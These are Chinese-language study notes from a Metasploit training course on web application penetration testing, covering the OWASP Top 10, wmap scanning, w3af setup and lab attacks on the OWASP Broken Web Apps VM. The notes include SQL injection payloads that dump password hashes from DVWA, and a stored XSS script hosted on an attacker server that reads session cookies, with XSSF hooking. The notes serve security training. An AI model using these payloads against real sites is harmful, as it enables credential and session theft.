《Metasploit 魔鬼训练营》04 Web 应用渗透测试

本文记录 Kali Linux 2017.1 学习使用 Metasploit 的详细过程

  1. OWASP Web 漏洞 TOP 10
  2. 基于 Metasploit 框架的 Web 应用渗透技术
  3. Web 应用程序漏洞Sam探测
  4. Web 应用程序渗透测试

###1. OWASP Web 漏洞 TOP 10###

1. SQL 注入
	普通注入:根据后台数据库有价值的错误信息,可以轻松的进行注入活动
	盲注:没有详细的错误信息时,根据仅有的判断信息对表中的每一个字段进行探测,从而实现注入技术
2. 跨转脚本
	根据XSS 脚本注人的方式不同,目前一般把XSS 攻击分为存储型XSS、反射型XSS以及DOM 型XSS.
	反射型XSS 顾名思义是一种非持久型的xss,它的攻击方式具有一次性的特点;攻击者通过邮件等方式将包含注人的恶意链接发给受害者,当受害者点击链接时,注人脚本连
接到攻击者准备好的服务器某个恶意文件上,然后服务器将注人的文件“反射”到受害者
的浏览器上,从而该浏览器执行了这段恶意文件。
	存储型XSS 与反射型XSS 的最大区别就是攻击脚本能永久存储在目标服务器数据库或
文件中。存储型XSS 攻击多见于论坛和博客等Web站点,攻击者在论坛发帖的过程中,将
恶意脚本连同正常的信息一起注人帖子内容中。随着帖子被后台服务器存储,恶意脚本也
被存储下来。当其他用户浏览该帖子的时候,恶意脚本便会在他们的浏览器中执行。
	DOM 型XSS 与两种跨站方式不同,它利用了客户端浏览器对请求的网页进行DOM
渲染。例如当一个网页想要选择语言:
	http://www.some.site/page.html?default-French
	攻击者如果实施DOM 型XSS攻击,向客户端输人如下URL:
	http://www.some.site/page.html?default=
	受害者点击这个URL 向服务器请求上面这个JavaScript,浏览器自己创建了DOM对
象,并执行这个脚本。这样就实施了一个DOM 型XSS 攻击。
3. 跨站伪造请求
	攻击者利用 XSS 的注入方式注意了一段脚本,当受害者点击浏览运行该段脚本时,脚本伪造受害者发送了一个合法请求。
4. 会话认证管理缺陷
	Web 应用程序一般通过 Cookie 的传送来完成使用者身份的认证,通过认证后,会话期间便会持续使用该身份
5. 安全误配置
	配置不合理
6. 不安全的密码存储
	1. 敏感资料未加密
	2. 使用自己开发的未经证明的算法
	3. 持续使用强度不足的算法
	4. 未经程序处理的 key,以及将 key 存储在不受保护的地方
7. 不安全的对象参考
	攻击者利用 Web 系统本身的文档读取功能,任意存取系统的某一份文档或资料
8. 限制 URL 访问失败
	没有对私有页面的访问进行身份认证
9. 缺乏传输层保护
	没有对 SSL/TLS	等保护记住,导致数据和 Session ID 可能被监听到,同时,过期的或不正确的证书有可能被使用
10. 未验证的重定向和跳转
	攻击者通过未验证重定向页面诱使受害者点击,从而获取密码或其他敏感数据

###2. 基于 Metasploit 框架的 Web 应用渗透技术###

1. 辅助模块
	使用 wmap 进行扫描
	msf > load wmap
		[WMAP 1.5.1] ===  et [  ] metasploit.com 2012
		[*] Successfully loaded plugin: wmap
	msf > help
		wmap Commands
		=============
			Command       Description
			-------       -----------
			wmap_modules  Manage wmap modules
			wmap_nodes    Manage nodes
			wmap_run      Test targets
			wmap_sites    Manage sites
			wmap_targets  Manage targets
			wmap_vulns    Display web vulns
			
	wmap_sites -a:添加网站
	wmap_sites -l:列出所有可用网站
	wmap_targets -targets:定义目标网站
	wmap_run -t :显示所有可用模块
	wmap_run -e :针对所有匹配目标启动配置文件模块。
	
	msf > wmap_sites -a http://10.10.10.254
		[*] Site created.
	msf > wmap_sites -l
		[*] Available sites
		===============
			 Id  Host            Vhost           Port  Proto  # Pages  # Forms
			 --  ----            -----           ----  -----  -------  -------
			 0   10.10.10.254    10.10.10.254    80    http   0        0
	msf > wmap_targets -t http://10.10.10.254
	msf > wmap_run -t
		[*] Testing target:
		[*] 	Site: 10.10.10.254 (10.10.10.254)
		[*] 	Port: 80 SSL: false
		============================================================
		[*] Testing started. 2017-09-09 11:55:05 -0400
		[*] Loading wmap modules...
		[*] 39 wmap enabled modules loaded.
		[*] 
		=[ SSL testing ]=
		============================================================
		[*] Target is not SSL. SSL modules disabled.
		[*] 
		=[ Web Server testing ]=
		============================================================
		[*] Module auxiliary/scanner/http/http_version
		[*] Module auxiliary/scanner/http/open_proxy
		[*] Module auxiliary/admin/http/tomcat_administration
		[*] Module auxiliary/admin/http/tomcat_utf8_traversal
		[*] Module auxiliary/scanner/http/drupal_views_user_enum
		[*] Module auxiliary/scanner/http/frontpage_login
		[*] Module auxiliary/scanner/http/host_header_injection
		.........................
		.........................
		.........................
	
  1. 渗透模块
    Metasploit 与其他第三方 Web 应用漏洞扫描、渗透测试软件的接口如表:
工具名 功能描述 备注
W3AF 综合性 Web 应用扫描和审计工具 开源且功能全面,持续更新,与 Metasploit 结合,部分功能需要进一步完善
SQLMap SQL 注入和攻击工具 开源且功能全面与 Metasploit 结合
wXf 开源 Web 渗透测试框架 与 Metasploit 结构相同,专门准对 Web 应用的渗透测试框架。功能还需要进一步完善
XSSF 跨站脚本攻击框架 利用 XSS 漏洞配合 Metasploit 展现出强大的渗透功能
BeFF 浏览器平台框架 通过 XSS 漏洞配合 Metasploit 进行各种渗透功能

###3. Web 应用程序漏洞Sam探测###

  1. 开源 Web 应用漏洞扫描工具
工具名称 下载地址 功能描述
Arachni https://github.com/Zapotek/arachni 扫描效果有待加强,有Web 配置界面
Grabber-Scan http://rgaucher.info/beta/grabber/ 能够实现基本的Web 应用漏洞扫描,对跨站攻击检测,对编码的处理还应该进一步加强
Wapiti http://wapiti.sourceforge.net/ 对SQL 注人的扫描准确度排名第一
Zed Attack Proxy https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project OWASP支持开源Web扫描器,支持自动扫描和手工渗透
Skipfish http//code.google.com/p/skipfish 著名黑客,Google 工程师Michal Zalewski 的大作,扫描速度比较出色,个人认为扫描效果一般
W3AF http://w3af.sourceforge.net/ 著名安全公司Rapid7的Web安全部主管Andres riancho 的一个开源项目有自动扫描和手动扫描,强大的插件功能,能够集成其他扫描工具。配置比较繁琐
Sandcat Free Edition ttp://www.syhunt.com/?n=Sandcat.Sandcat 该工具免费版在测试中表现出对XSS 漏洞最好的检测效率
Paros http://www.parosproxy.org/ 手工进行Web渗透测试的利器,需要在网页中设置代理
Burp suite Free http//portswigger.netburp/ 黑客圈评价很高的Web渗透测试利器,由Java编写,所以能够在各种操作系统平台上工作,功能非常强大
WATOBO http://sourceforge.netapps/mediawiki/watobo/index.php?title=Main_Page 具有手动和被动两种扫描模式。FUZZ扫描是它的一大特色
SQL 注入排名 扫描器名称 RXSS 排名 扫描器名称
1 Wapiti 1 Sandcat Free Edition
2 Andiparos 2 ProxyStrike
3 Paros Proxy 5 Netsparker Community Edition
6 Burp Suite 9 Grabber
9 W3AF 11 W3AF
2.扫描神器 W3AF (Web Application Attack and Audit Framwork)

	核心模块负责进程的调度和插件的使用,插件部分则负责查找并攻击Web安全漏洞。
	插件部分根据功能的不同,又分为8 类模块
		包括: 发现模块(discovery)、审计模块(audit )、搜索模块(grep )、攻击模块(attack)、输出模块output)、修改模块(mangle)、人侵模块(evasion )、破解模块(bruteforce)
	
	1. 安装配置:http://blog.csdn.net/ycl146/article/details/75041527
		1. 进入到目录
			cd /usr/local/src/
		2. 下载w3af程序文件
			root@attacker:/usr/local/src# git clone https://github.com/andresriancho/w3af.git
			或者直接去 github(https://github.com/andresriancho/w3af.git) 下载,之后复制到此目录
		3. 切换目录到 w3af
			root@attacker:/usr/local/src# ls
			circle.yml  extras    README.md  tools  w3af_api      w3af_gui
			doc         profiles  scripts    w3af   w3af_console
			root@attacker:/usr/local/src# cd w3af/
		4. 修改文件内容如下
			root@attacker:/usr/local/src/w3af# vim core/controllers/dependency_check/requirements.py 
				PIPDependency('pybloomfilter', 'pybloomfiltermmap', '0.3.15'), #31行
				PIPDependency('OpenSSL', 'pyOpenSSL', '16.2.0'),	#39行
				PIPDependency('lxml', 'lxml', '3.7.1'),	#45行
		5. 修改文件内容如下
			root@attacker:/usr/local/src/w3af# vim core/controllers/dependency_check/platforms/mac.py 
				MAC_CORE_PIP_PACKAGES.remove(PIPDependency('pybloomfilter', 'pybloomfiltermmap', '0.3.15')
		6. 安装 python-pybloomfiltermmap graphviz
			root@attacker:/usr/local/src/w3af# apt install -y python-pybloomfiltermmap graphviz
		7. 然后执行 w3af_gui 命令
			root@attacker:/usr/local/src# ./w3af_gui 
				A script with these commands has been created for you at /tmp/w3af_dependency_install.sh
			root@attacker:/usr/local/src# sh /tmp/w3af_dependency_install.sh
			root@attacker:/usr/local/src# ./w3af_console
				w3af>>> exit
			root@attacker:/usr/local/src# ./w3af_gui 
				提示 no module named webkit
					因为新版本的kali的软件原已经不包含python-webkit和python-webkit-dev
					所以只能安装二进制文件 用dpkg -i 二进制包名来安装webkit
		8. cd /usr/local/src  进入目录
			由于我本机是64位kali系统 所以我下载安装64位的软件包 如果是32位的请根据url下载对应的32位软件包
			wget http://ftp.br.debian.org/debian/pool/main/p/pywebkitgtk/python-webkit_1.1.8-3_amd64.deb
		9. 此软件包安装还依赖于其他三个软件包,所以下载另外三个软件包
			wget http://ftp.br.debian.org/debian/pool/main/w/webkitgtk/libjavascriptcoregtk-1.0-0_2.4.11-3_amd64.deb
			wget http://ftp.br.debian.org/debian/pool/main/p/python-support/python-support_1.0.15_all.deb
			wget http://ftp.br.debian.org/debian/pool/main/w/webkitgtk/libwebkitgtk-1.0-0_2.4.11-3_amd64.deb
		10. 然后依次执行安装命令
				dpkg -i libjavascriptcoregtk-1.0-0_2.4.11-3_amd64.deb 
				dpkg -i python-support_1.0.15_all.deb 
				dpkg -i libwebkitgtk-1.0-0_2.4.11-3_amd64.deb
				dpkg -i python-webkit_1.1.8-3_amd64.deb
			此时如果不报错表示webkit模块已经安装好
		11	可以通过命令python进入python解释器,然后执行import webkit来验证是不是安装好
		12. 此时执行./w3af_gui 提示 no module named python-gtksourceview2
		13. 执行命令 apt-get install python-gtksourceview2 安装
		14. 最后 ./w3af_gui 执行成功,出现w3af图形启动页面。大功告成,完毕。
	
3. SQL 注入漏洞探测
	Sqlmap 是一款开源的命令行自动 SQL 注入工具
	
	

4. XSS 漏洞探测
	
5. Web 应用程序漏洞探测

###4. Web 应用程序渗透测试###

1. SQL 注入实例分析
	此处使用 OWASP_Broken_Web_Apps_VM_0.94 版本
	1. 先登录到 DVWA ,找到 DVWA Security 选项卡,选择安全级别为 low
	2. 选择 SQL Injection 选项卡,进行测试
	3. 输入 “’” 
		提示:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin''' at line 1
		表明可能有 SQL 注入漏洞 
	4. 输入 “1’”
		输人“1’”两个字符后,没有提示任何错误,但是没有返回任何信息,说明需要“'”以保证SQL查询语句的正确性。
	5. 输入 “' or 1=1 '”
		You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' at line 1
		说明 SQL 语句依然存在错误,或许注释掉 SQL 语句后面的部分就能解决这个问题
	6. 输入 “' or 1=1-- '”
		结果查到所有的列名
	7. 输入 “' union select 1,2 -- '”
		查到了列数,表明列数猜解正确
	8. 输入 “' union select 1, table_name from INFORMATION_SCHEMA.tables -- '”
		通过查询 INFORMATION_SCHEMA 系统表,可以看到数据库中每一个表的名字以及每一列的名字
	9. 输入 “'union select 1, column_name from INFORMATION_SCHEMA.columns where table_name = 'users' -- '”	
		列出了user表中的内容,我们发现user表中共有6列数据
	10. 输入 “ ' union select null, password from users -- '”
		得到了密码
	11. 输入 “ ' union select password, concat(first_name, '', last_name, user) from users -- ' ”
		通过 concat() 函数将所有信息都列出来
	12. 这样就完成了一次 SQL 注入过程
		输出结果:
		ID: ' union select password, concat(first_name, '', last_name, user) from users -- '
		First name: 21232f297a57a5a743894a0e4a801fc3
		Surname: adminadminadmin
		ID: ' union select password, concat(first_name, '', last_name, user) from users -- '
		First name: e99a18c428cb38d5f260853678922e03
		Surname: GordonBrowngordonb
2. 跨站攻击实例分析
	选择 XSS reflected 选项卡
	1. 输入 “ ”
		成功弹框XSS
	2. 登录10.10.10.129,选择 Mutillidae 选项卡,而不是 DVWA
		选择 Add to your blog 选项卡 ,进入到写博客界面
	3. 提前在 kali 上写一个xss.js文件
		root@attacker:/var/www/html# vim xss.js
			document.write ("This is remote text via xss.js located at attacker.dvssc.com "+ document.cookie);
			alert ("This is remote text via xss.js located at attacker.dvssc.com"+ document.cookie
		root@attacker:/var/www/html# systemctl start apache2.service 
	3. 在输入框输入:
		此处有弹框 This is remote text via xss.js located at attacker.dvssc.comPHPSESSID=78a4rfkdvorjnaq27mqtpe0s22; acopendivids=swingset,jotto,phpbb2,redmine; acgroupswithpersist=nada
		Entries:
			anonymous:(2017-09-11 01:01:45)
			This is remote text via xss.js located at attacker.dvssc.com 
			PHPSESSID=78a4rfkdvorjnaq27mqtpe0s22; acopendivids=swingset,jotto,phpbb2,redmine; 
			acgroupswithpersist=nada 
	4. kali 上 msf 加载 xssf,下载并合并文件夹
		XSSF下载 https://code.google.com/archive/p/xssf/downloads
		root@attacker:~/Desktop/XSSF# cp -rdf * /usr/share/metasploit-framework/
	5. 使用 xssf 
		msf > load xssf
		msf > xssf_urls 
			[+] XSSF Server 	 : 'http://10.10.10.128:8888/' 		or 'http://:8888/'
			[+] Generic XSS injection: 'http://10.10.10.128:8888/loop' 	or 'http://:8888/loop'
			[+] XSSF test page	 : 'http://10.10.10.128:8888/test.html' or 'http://:8888/test.html'

			[+] XSSF Tunnel Proxy	: 'localhost:8889'
			[+] XSSF logs page	: 'http://localhost:8889/gui.html?guipage=main'
			[+] XSSF statistics page: 'http://localhost:8889/gui.html?guipage=stats'
			[+] XSSF help page	: 'http://localhost:8889/gui.html?guipage=help'
	6. 将上面的第二个网址填入 Mutillidae 的博客提交框 http://10.10.10.128:8888/loop' 	or 'http://:8888/loop
		换一台机器访问刚才写的博客
			
3. 
4. 
5. 
6. 
7. 

###5. ###

1. 
2.
3. 
4. 
5. 
6. 
7. 

###6. ###

1. 
2.
3. 
4. 
5. 
6. 
7. 

###7. ###

1. 
2.
3. 
4. 
5. 
6. 
7. 

###8. ###

1. 
2.
3. 
4. 
5. 
6. 
7. 

###9. ###

1. 
2.
3. 
4. 
5. 
6. 
7. 

你可能感兴趣的:(kali-linux)